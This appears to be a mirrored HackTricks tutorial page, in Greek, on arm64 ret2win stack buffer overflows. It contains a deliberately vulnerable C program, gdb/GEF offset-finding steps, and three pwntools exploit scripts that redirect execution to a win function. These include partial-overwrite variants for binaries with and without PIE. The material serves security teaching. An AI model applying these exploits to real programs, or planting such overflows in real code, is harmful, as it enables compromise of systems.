mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
170 lines
5.8 KiB
Markdown
170 lines
5.8 KiB
Markdown
# Ret2win - arm64
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
Βρείτε μια εισαγωγή στο arm64 στο:
|
||
|
||
{{#ref}}
|
||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||
{{#endref}}
|
||
|
||
## Code
|
||
```c
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
|
||
void win() {
|
||
printf("Congratulations!\n");
|
||
}
|
||
|
||
void vulnerable_function() {
|
||
char buffer[64];
|
||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||
}
|
||
|
||
int main() {
|
||
vulnerable_function();
|
||
return 0;
|
||
}
|
||
```
|
||
Συγκέντρωση χωρίς pie και canary:
|
||
```bash
|
||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||
```
|
||
## Εύρεση της απόκλισης
|
||
|
||
### Επιλογή προτύπου
|
||
|
||
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
|
||
|
||
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
|
||
```bash
|
||
gdb -q ./ret2win
|
||
pattern create 200
|
||
run
|
||
```
|
||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
|
||
```bash
|
||
pattern search $x30
|
||
```
|
||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Η απόσταση είναι 72 (9x48).**
|
||
|
||
### Επιλογή απόστασης στοίβας
|
||
|
||
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
|
||
```bash
|
||
gdb -q ./ret2win
|
||
b *vulnerable_function + 0xc
|
||
run
|
||
info frame
|
||
```
|
||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
|
||
```
|
||
b *vulnerable_function+28
|
||
c
|
||
```
|
||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
|
||
|
||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||
|
||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||
|
||
## Χωρίς PIE
|
||
|
||
### Κανονικό
|
||
|
||
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
|
||
```bash
|
||
objdump -d ret2win | grep win
|
||
ret2win: file format elf64-littleaarch64
|
||
00000000004006c4 <win>:
|
||
```
|
||
Εκμετάλλευση:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Configuration
|
||
binary_name = './ret2win'
|
||
p = process(binary_name)
|
||
|
||
# Prepare the payload
|
||
offset = 72
|
||
ret2win_addr = p64(0x00000000004006c4)
|
||
payload = b'A' * offset + ret2win_addr
|
||
|
||
# Send the payload
|
||
p.send(payload)
|
||
|
||
# Check response
|
||
print(p.recvline())
|
||
p.close()
|
||
```
|
||
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
|
||
|
||
### Off-by-1
|
||
|
||
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Configuration
|
||
binary_name = './ret2win'
|
||
p = process(binary_name)
|
||
|
||
# Prepare the payload
|
||
offset = 72
|
||
ret2win_addr = p16(0x06c4)
|
||
payload = b'A' * offset + ret2win_addr
|
||
|
||
# Send the payload
|
||
p.send(payload)
|
||
|
||
# Check response
|
||
print(p.recvline())
|
||
p.close()
|
||
```
|
||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||
|
||
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
|
||
|
||
## Με PIE
|
||
|
||
> [!TIP]
|
||
> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
|
||
|
||
### Off-by-2
|
||
|
||
Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
|
||
|
||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||
```python
|
||
from pwn import *
|
||
|
||
# Configuration
|
||
binary_name = './ret2win'
|
||
p = process(binary_name)
|
||
|
||
# Prepare the payload
|
||
offset = 72
|
||
ret2win_addr = p16(0x07d4)
|
||
payload = b'A' * offset + ret2win_addr
|
||
|
||
# Send the payload
|
||
p.send(payload)
|
||
|
||
# Check response
|
||
print(p.recvline())
|
||
p.close()
|
||
```
|
||
{{#include ../../../banners/hacktricks-training.md}}
|